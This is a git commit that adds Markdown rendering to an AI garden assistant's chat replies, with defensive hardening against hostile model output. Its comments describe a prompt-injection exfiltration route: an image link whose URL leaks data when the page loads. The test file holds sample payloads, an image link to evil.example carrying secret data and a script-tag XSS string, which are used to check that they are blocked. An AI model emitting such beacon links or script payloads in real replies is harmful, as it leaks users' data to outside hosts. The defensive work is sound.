Render the assistant's replies as Markdown (#118)

Render assistant chat output as GFM Markdown (tables, lists, code, headings), lazy-loaded so the ~150 KB renderer only ships when an assistant message shows. Hardened per review: no <img> (exfiltration-beacon guard), no raw HTML, error-boundary + stale-chunk recovery around the lazy chunk, GFM column alignment, and memoized parsing.

Co-authored-by: Steve Dudenhoeffer <[email protected]>

web/package.json

@@ -22,6 +22,8 @@
     "clsx": "^2.1.1",
     "react": "^19.0.0",
     "react-dom": "^19.0.0",
+    "react-markdown": "^9.1.0",
+    "remark-gfm": "^4.0.1",
     "tailwind-merge": "^2.6.0",
     "zod": "^3.24.1",
     "zustand": "^5.0.14"

web/src/editor/ChatPanel.tsx

@@ -1,4 +1,4 @@
-import { useEffect, useRef, useState, type ReactNode } from 'react'
+import { Component, Suspense, useEffect, useRef, useState, type ReactNode } from 'react'
 import { Alert } from '@/components/ui/Alert'
 import { errorMessage } from '@/lib/api'
 import { Button } from '@/components/ui/Button'
@@ -14,8 +14,31 @@ import {
   type AgentTurn,
 } from '@/lib/agent'
 import { useUndo } from '@/lib/history'
+import { lazyPage } from '@/lib/lazyPage'
 import { UndoButton } from './UndoButton'
 
+// Lazy so the markdown renderer + its ecosystem (~150 KB) loads only when an
+// assistant message actually renders, not for everyone who opens the editor.
+// lazyPage adds the stale-chunk recovery a plain lazy() lacks — a post-deploy
+// chunk 404 would otherwise permanently break the assistant.
+const MarkdownMessage = lazyPage(() => import('./MarkdownMessage'), 'MarkdownMessage')
+
+/**
+ * Falls back to the raw message text if the markdown chunk can't load (a
+ * non-recoverable 404) or the renderer throws — a garbled reply should degrade to
+ * readable text, never take the whole editor down. Suspense handles the loading
+ * phase; this handles the failure one.
+ */
+class MarkdownBoundary extends Component<{ fallback: ReactNode; children: ReactNode }, { failed: boolean }> {
+  state = { failed: false }
+  static getDerivedStateFromError() {
+    return { failed: true }
+  }
+  render() {
+    return this.state.failed ? this.props.fallback : this.props.children
+  }
+}
+
 /**
  * Talk to the garden assistant, in the editor beside the canvas.
  *
@@ -106,8 +129,8 @@ export function ChatPanel({ gardenId, canEdit }: { gardenId: number; canEdit: bo
                 onError: (err) => setError(errorMessage(err, "Couldn't clear the conversation.")),
               })
             }
-            disabled={clear.isPending}
-            className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
+            disabled={clear.isPending || !!pending}
+            className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40 disabled:opacity-50"
           >
             Start over
           </button>
@@ -227,11 +250,27 @@ function Bubble({
     <div className={cn('flex flex-col', mine ? 'items-end' : 'items-start')}>
       <div
         className={cn(
-          'max-w-[90%] whitespace-pre-wrap rounded-lg px-2.5 py-2 text-sm',
-          mine ? 'bg-accent/15 text-fg' : 'border border-border text-fg',
+          'rounded-lg px-2.5 py-2 text-sm',
+          // The user's own text is literal (their `*` shouldn't become a bullet)
+          // and hugs the right; the assistant's Markdown is rendered and gets the
+          // full width so a table has room.
+          mine
+            ? 'max-w-[90%] whitespace-pre-wrap bg-accent/15 text-fg'
+            : 'w-full border border-border text-fg',
         )}
       >
-        {body}
+        {mine ? (
+          body
+        ) : (
+          // Show the raw text until the renderer chunk arrives (Suspense), and fall
+          // back to it if the chunk can't load or the renderer throws (boundary) —
+          // either way the message is readable, never blank and never a crash.
+          <MarkdownBoundary fallback={<span className="whitespace-pre-wrap">{body}</span>}>
+            <Suspense fallback={<span className="whitespace-pre-wrap">{body}</span>}>
+              <MarkdownMessage>{body}</MarkdownMessage>
+            </Suspense>
+          </MarkdownBoundary>
+        )}
       </div>
       {children}
     </div>

web/src/editor/MarkdownMessage.test.tsx

@@ -0,0 +1,60 @@
+import { describe, expect, it } from 'vitest'
+import { renderToStaticMarkup } from 'react-dom/server'
+import { MarkdownMessage } from './MarkdownMessage'
+
+// renderToStaticMarkup needs no DOM, so this runs in the default (node) env and
+// proves the assistant's Markdown — GFM tables in particular — actually renders.
+function render(md: string): string {
+  return renderToStaticMarkup(<MarkdownMessage>{md}</MarkdownMessage>)
+}
+
+describe('MarkdownMessage', () => {
+  it('renders a GFM table with styled cells', () => {
+    const html = render('| Bed | Plant |\n| --- | --- |\n| North | Garlic |')
+    expect(html).toContain('<table')
+    expect(html).toContain('border-collapse')
+    expect(html).toContain('<th')
+    expect(html).toContain('<td')
+    expect(html).toContain('Garlic')
+    // Wide tables scroll inside their own box rather than blowing out the bubble.
+    expect(html).toContain('overflow-x-auto')
+  })
+
+  it('renders inline formatting and lists', () => {
+    const html = render('**bold** and *italic*\n\n- one\n- two')
+    expect(html).toContain('<strong')
+    expect(html).toContain('<em')
+    expect(html).toContain('<ul')
+    expect(html).toContain('<li')
+  })
+
+  it('does not emit raw HTML from the model (no rehype-raw)', () => {
+    const html = render('Hi <script>alert(1)</script> <b>x</b>')
+    expect(html).not.toContain('<script>')
+    expect(html).not.toContain('<b>x</b>') // the literal tag is escaped, not rendered
+  })
+
+  it('opens links safely in a new tab', () => {
+    const html = render('[seeds](https://example.com)')
+    expect(html).toContain('href="https://example.com"')
+    expect(html).toContain('rel="noopener noreferrer"')
+  })
+
+  it('does not render images (no auto-loading exfiltration beacon)', () => {
+    // A prompt-injected reply could embed `![](https://evil/?leak=…)`; the browser
+    // would auto-fetch it, leaking that the message was viewed (and anything smuggled
+    // into the URL). We forbid <img> entirely, so the beacon never fires.
+    const html = render('before ![pixel](https://evil.example/leak?data=secret) after')
+    expect(html).not.toContain('<img')
+    expect(html).not.toContain('evil.example')
+    // Surrounding prose still renders.
+    expect(html).toContain('before')
+    expect(html).toContain('after')
+  })
+
+  it('honours GFM column alignment', () => {
+    const html = render('| L | C | R |\n| :-- | :--: | --: |\n| a | b | c |')
+    expect(html).toContain('text-align:center')
+    expect(html).toContain('text-align:right')
+  })
+})

web/src/editor/MarkdownMessage.tsx

@@ -0,0 +1,109 @@
+import { memo, type ReactNode } from 'react'
+import ReactMarkdown, { type Components } from 'react-markdown'
+import remarkGfm from 'remark-gfm'
+
+// Hoisted so they're not re-created every render (which would defeat both React's
+// and ReactMarkdown's memoization).
+const remarkPlugins = [remarkGfm]
+const CODE_BLOCK = /language-/
+
+// The assistant's replies are never trusted markup: their content can be steered
+// by anything the agent read (a shared garden's notes, a seed vendor page). So we
+// render Markdown but NOT raw HTML (no rehype-raw), and — belt to that — forbid
+// <img>, whose auto-loading `src` is a prompt-injection exfiltration beacon
+// (`![](https://evil/?leak=…)`); the assistant has no reason to emit images.
+const disallowedElements = ['img']
+
+// Tailwind's reset strips default list/table styling, so every element the
+// assistant actually uses is restyled here, scaled for a chat bubble. Wide
+// content (tables, code) scrolls in its own box so the bubble never blows out.
+const bigHeading = ({ children }: { children?: ReactNode }) => (
+  <h4 className="mb-1 mt-2 text-sm font-semibold first:mt-0">{children}</h4>
+)
+const smallHeading = ({ children }: { children?: ReactNode }) => (
+  <h5 className="mb-1 mt-1.5 text-xs font-semibold uppercase tracking-wide text-muted first:mt-0">
+    {children}
+  </h5>
+)
+
+const components: Components = {
+  p: ({ children }) => <p className="my-1.5 first:mt-0 last:mb-0">{children}</p>,
+  a: ({ href, children }) => (
+    <a
+      href={href}
+      target="_blank"
+      rel="noopener noreferrer"
+      className="text-accent-strong underline underline-offset-2"
+    >
+      {children}
+    </a>
+  ),
+  ul: ({ children }) => <ul className="my-1.5 list-disc pl-5">{children}</ul>,
+  ol: ({ children, start }) => (
+    <ol start={start} className="my-1.5 list-decimal pl-5">
+      {children}
+    </ol>
+  ),
+  li: ({ children }) => <li className="my-0.5">{children}</li>,
+  strong: ({ children }) => <strong className="font-semibold">{children}</strong>,
+  em: ({ children }) => <em className="italic">{children}</em>,
+  h1: bigHeading,
+  h2: bigHeading,
+  h3: bigHeading,
+  h4: smallHeading,
+  h5: smallHeading,
+  h6: smallHeading,
+  blockquote: ({ children }) => (
+    <blockquote className="my-1.5 border-l-2 border-border pl-2 text-muted">{children}</blockquote>
+  ),
+  hr: () => <hr className="my-2 border-border" />,
+  code: ({ className, children }) => {
+    // A fenced block is wrapped by <pre> (styled below) and carries either a
+    // language- class or a trailing newline; inline code is a single-line bare
+    // <code> and gets the pill treatment. (The newline check catches fences with
+    // no info-string, which have no language- class.)
+    const isBlock = CODE_BLOCK.test(className ?? '') || String(children).includes('\n')
+    if (isBlock) return <code className={className}>{children}</code>
+    return (
+      <code className="rounded bg-border/60 px-1 py-0.5 font-mono text-[0.85em]">{children}</code>
+    )
+  },
+  pre: ({ children }) => (
+    <pre className="my-1.5 overflow-x-auto rounded-md bg-border/40 p-2 font-mono text-xs">
+      {children}
+    </pre>
+  ),
+  table: ({ children }) => (
+    <div className="my-1.5 overflow-x-auto">
+      <table className="w-full border-collapse text-xs">{children}</table>
+    </div>
+  ),
+  // Pass `style` through: GFM column alignment (`:---:` / `---:`) arrives as
+  // style.textAlign, and dropping it would silently discard it.
+  th: ({ children, style }) => (
+    <th style={style} className="border border-border px-2 py-1 font-semibold">
+      {children}
+    </th>
+  ),
+  td: ({ children, style }) => (
+    <td style={style} className="border border-border px-2 py-1 align-top">
+      {children}
+    </td>
+  ),
+}
+
+/** Render one assistant message body as Markdown (GFM). Memoized so typing in the
+ *  composer doesn't re-parse every message in the thread. */
+export const MarkdownMessage = memo(function MarkdownMessage({ children }: { children: string }) {
+  return (
+    <div className="leading-relaxed">
+      <ReactMarkdown
+        remarkPlugins={remarkPlugins}
+        disallowedElements={disallowedElements}
+        components={components}
+      >
+        {children}
+      </ReactMarkdown>
+    </div>
+  )
+})

web/src/lib/lazyPage.ts

@@ -0,0 +1,41 @@
+import { lazy, type ComponentType } from 'react'
+
+/**
+ * Lazily load a component by its named export, with recovery for the stale-chunk
+ * problem. A push to main redeploys, so a still-open app references chunk hashes
+ * the server has just replaced; that import 404s and React.lazy MEMOIZES the
+ * rejection, so a "Try again" can never recover — the user is stuck until a manual
+ * hard reload. On the first such failure we reload once (fetching the fresh index
+ * + hashes); a session flag stops a reload loop, and a success clears it so a
+ * later genuine failure can reload again.
+ *
+ * Shared by the route splits (router.tsx) and any feature-level lazy load (the
+ * assistant's Markdown renderer), so they all get the same recovery.
+ */
+export function lazyPage<M, K extends keyof M>(load: () => Promise<M>, name: K) {
+  // Preserve the component's own prop type so callers keep type-checked props
+  // (e.g. MarkdownMessage's `children: string`), rather than erasing to `{}`.
+  type C = M[K] extends ComponentType<infer P> ? ComponentType<P> : never
+  return lazy<C>(async () => {
+    try {
+      const mod = await load()
+      try {
+        sessionStorage.removeItem('pansy:chunk-reload')
+      } catch {
+        /* storage unavailable — fine */
+      }
+      return { default: mod[name] as C }
+    } catch (err) {
+      try {
+        if (!sessionStorage.getItem('pansy:chunk-reload')) {
+          sessionStorage.setItem('pansy:chunk-reload', '1')
+          window.location.reload()
+          return await new Promise<{ default: C }>(() => {}) // hold for the reload
+        }
+      } catch {
+        /* storage unavailable — fall through to surface the error */
+      }
+      throw err // already reloaded once (or can't); let the error boundary show it
+    }
+  })
+}

web/src/router.tsx

@@ -1,4 +1,3 @@
-import { lazy, type ComponentType } from 'react'
 import {
   createRootRouteWithContext,
   createRoute,
@@ -15,38 +14,7 @@ import { meQueryOptions } from '@/lib/auth'
 import { queryClient } from '@/lib/queryClient'
 import { safeRedirectPath } from '@/lib/redirect'
 import { getLastGardenId } from '@/lib/lastGarden'
-
-// Lazily load a page by its named export, with recovery for the stale-chunk
-// problem. A push to main redeploys, so a still-open app references chunk hashes
-// the server has just replaced; that import 404s and React.lazy MEMOIZES the
-// rejection, so RouteError's "Try again" (router.invalidate) can never recover —
-// the user is stuck until a manual hard reload. On the first such failure we
-// reload once (fetching the fresh index + hashes); a session flag stops a reload
-// loop, and a success clears it so a later genuine failure can reload again.
-function lazyPage<M, K extends keyof M>(load: () => Promise<M>, name: K) {
-  return lazy(async () => {
-    try {
-      const mod = await load()
-      try {
-        sessionStorage.removeItem('pansy:chunk-reload')
-      } catch {
-        /* storage unavailable — fine */
-      }
-      return { default: mod[name] as ComponentType }
-    } catch (err) {
-      try {
-        if (!sessionStorage.getItem('pansy:chunk-reload')) {
-          sessionStorage.setItem('pansy:chunk-reload', '1')
-          window.location.reload()
-          return await new Promise<{ default: ComponentType }>(() => {}) // hold for the reload
-        }
-      } catch {
-        /* storage unavailable — fall through to surface the error */
-      }
-      throw err // already reloaded once (or can't); let the error boundary show it
-    }
-  })
-}
+import { lazyPage } from '@/lib/lazyPage'
 
 // Code-split the heavier / deeper routes so a phone on cell data doesn't download
 // the whole app (notably the canvas editor with its gesture + geometry deps)

web/vite.config.ts

@@ -31,22 +31,25 @@ export default defineConfig(({ mode }) => {
       sourcemap: true,
       rollupOptions: {
         output: {
-          // One vendor chunk for ALL node_modules: it's rarely-changing, so it
-          // caches across app deploys while the tiny app chunk churns. Kept as a
-          // SINGLE chunk on purpose — splitting react-dom/scheduler into their own
-          // chunk reorders their module init across chunk boundaries and breaks
-          // React 19 at load ("Cannot set 'Activity' of undefined"). The heavy
-          // routes are code-split separately via React.lazy (router.tsx), which is
-          // where the real first-paint win is.
+          // The app-wide core goes in ONE cached vendor chunk (rarely changes, so
+          // it survives deploys while the tiny app chunk churns). react + react-dom
+          // + scheduler MUST stay together — splitting react-dom into its own chunk
+          // reorders module init across chunk boundaries and breaks React 19 at
+          // load ("Cannot set 'Activity' of undefined"). Everything else — the
+          // gesture engine, the assistant's markdown renderer + its ecosystem —
+          // rides with whatever imports it, so a lazily-loaded route/feature keeps
+          // it out of the eager first paint. The routes are code-split via
+          // React.lazy (router.tsx), where the real first-paint win is.
           manualChunks(id) {
             if (!id.includes('node_modules')) return undefined
-            // Editor-only libs (the gesture engine) ride with the lazy editor
-            // chunk instead of the eager vendor one, so the first paint doesn't
-            // pay for code only the canvas needs. Everything else — react, tanstack
-            // and the rest — stays in ONE vendor chunk; splitting react-dom out
-            // reorders its init across chunks and breaks React 19 at load.
-            if (id.includes('@use-gesture')) return undefined
+            if (
+              /[/\\]node_modules[/\\](react|react-dom|scheduler|@tanstack|zustand|zod|clsx|tailwind-merge)[/\\]/.test(
+                id,
+              )
+            ) {
               return 'vendor'
+            }
+            return undefined
           },
         },
       },